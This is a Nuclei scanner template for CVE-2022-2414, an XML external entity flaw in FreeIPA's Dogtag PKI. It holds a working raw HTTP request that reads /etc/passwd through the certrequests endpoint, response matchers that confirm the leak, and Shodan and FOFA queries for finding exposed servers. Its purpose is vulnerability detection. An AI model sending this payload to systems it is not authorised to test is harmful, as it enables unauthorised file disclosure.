id: CVE-2022-2414

info:
  name: FreeIPA - XML Entity Injection
  author: DhiyaneshDk
  severity: high
  description: |
    Access to external entities when parsing XML documents can lead to XML external entity (XXE) attacks. This flaw allows a remote attacker to potentially retrieve the content of arbitrary files by sending specially crafted HTTP requests.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/Dogtag/Dogtag%20PKI%20XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2022-2414.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2414
    - https://github.com/dogtagpki/pki/pull/4021
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-2414
    cwe-id: CWE-611
  metadata:
    max-request: 1
    fofa-query: title="Identity Management"
    shodan-query: title:"Identity Management" html:"FreeIPA"
    verified: true
  tags: cve,cve2022,dogtag,freeipa,xxe

http:
  - raw:
      - |
        POST /ca/rest/certrequests HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <!--?xml version="1.0" ?-->
        <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
        <CertEnrollmentRequest>
          <Attributes/>
          <ProfileID>&ent;</ProfileID>
        </CertEnrollmentRequest>

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: body
        words:
          - "PKIException"

      - type: word
        part: header
        words:
          - "application/xml"

      - type: status
        status:
          - 400